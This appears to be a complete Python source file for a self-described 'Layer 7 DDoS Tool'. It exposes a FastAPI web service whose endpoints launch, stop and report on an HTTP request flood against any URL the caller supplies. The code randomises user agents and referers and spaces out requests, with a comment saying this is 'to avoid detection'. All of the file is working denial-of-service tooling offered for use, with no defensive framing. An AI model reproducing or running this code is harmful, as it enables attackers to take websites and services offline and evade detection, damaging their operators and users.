File size: 6,234 Bytes
faf62e8 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 |
import asyncio
import aiohttp
import argparse
from fastapi import FastAPI, HTTPException
from fastapi.middleware.cors import CORSMiddleware
import uvicorn
from typing import Optional
import random
import string
import time
from concurrent.futures import ThreadPoolExecutor
import threading
app = FastAPI()
# CORS configuration
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
# Global variables for attack state
attack_active = False
attack_thread = None
attack_config = {}
# User agents for randomization
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15",
]
def generate_random_string(length=10):
"""Generate a random string of fixed length"""
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(length))
async def send_request(session, url, method="GET", headers=None, data=None):
"""Send a single HTTP request"""
try:
if method.upper() == "GET":
async with session.get(url, headers=headers) as response:
return response.status
elif method.upper() == "POST":
async with session.post(url, headers=headers, data=data) as response:
return response.status
except Exception as e:
return str(e)
async def attack_worker(url, method, duration, max_threads, headers=None, data=None):
"""Worker function for the attack"""
start_time = time.time()
connector = aiohttp.TCPConnector(limit=max_threads, force_close=True)
timeout = aiohttp.ClientTimeout(total=10)
async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
while time.time() - start_time < duration and attack_active:
try:
# Randomize headers and data if not provided
request_headers = headers or {
"User-Agent": random.choice(USER_AGENTS),
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Cache-Control": "max-age=0",
"Referer": f"https://{generate_random_string(10)}.com/",
}
request_data = data or {
"data": generate_random_string(20),
"timestamp": str(time.time())
}
# Send request
status = await send_request(session, url, method, request_headers, request_data)
# Print status (you might want to log this instead)
print(f"Request sent to {url} - Status: {status}")
# Random delay between requests to avoid detection
await asyncio.sleep(random.uniform(0.1, 0.5))
except Exception as e:
print(f"Error in attack worker: {e}")
await asyncio.sleep(1)
def start_attack(url, method="GET", duration=60, max_threads=100, headers=None, data=None):
"""Start the attack in a separate thread"""
global attack_active, attack_thread, attack_config
if attack_active:
raise ValueError("Attack is already in progress")
attack_active = True
attack_config = {
"url": url,
"method": method,
"duration": duration,
"max_threads": max_threads,
"headers": headers,
"data": data
}
def run_attack():
asyncio.run(attack_worker(url, method, duration, max_threads, headers, data))
global attack_active
attack_active = False
attack_thread = threading.Thread(target=run_attack)
attack_thread.daemon = True
attack_thread.start()
def stop_attack():
"""Stop the current attack"""
global attack_active
attack_active = False
@app.get("/")
async def root():
return {"message": "Layer 7 DDoS Tool API"}
@app.post("/start_attack")
async def start_attack_endpoint(
url: str,
method: str = "GET",
duration: int = 60,
max_threads: int = 100,
headers: Optional[dict] = None,
data: Optional[dict] = None
):
try:
start_attack(url, method, duration, max_threads, headers, data)
return {
"status": "success",
"message": f"Attack started on {url} for {duration} seconds with {max_threads} threads"
}
except Exception as e:
raise HTTPException(status_code=400, detail=str(e))
@app.post("/stop_attack")
async def stop_attack_endpoint():
stop_attack()
return {"status": "success", "message": "Attack stopped"}
@app.get("/status")
async def get_status():
global attack_active, attack_config
return {
"attack_active": attack_active,
"attack_config": attack_config if attack_active else None
}
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Layer 7 DDoS Tool")
parser.add_argument("--host", type=str, default="0.0.0.0", help="Host to bind to")
parser.add_argument("--port", type=int, default=8000, help="Port to listen on")
parser.add_argument("--ssl-keyfile", type=str, help="SSL key file for HTTPS")
parser.add_argument("--ssl-certfile", type=str, help="SSL certificate file for HTTPS")
args = parser.parse_args()
ssl_config = None
if args.ssl_keyfile and args.ssl_certfile:
ssl_config = {
"keyfile": args.ssl_keyfile,
"certfile": args.ssl_certfile
}
uvicorn.run(
app,
host=args.host,
port=args.port,
ssl_keyfile=args.ssl_keyfile if ssl_config else None,
ssl_certfile=args.ssl_certfile if ssl_config else None,
log_level="info"
)
|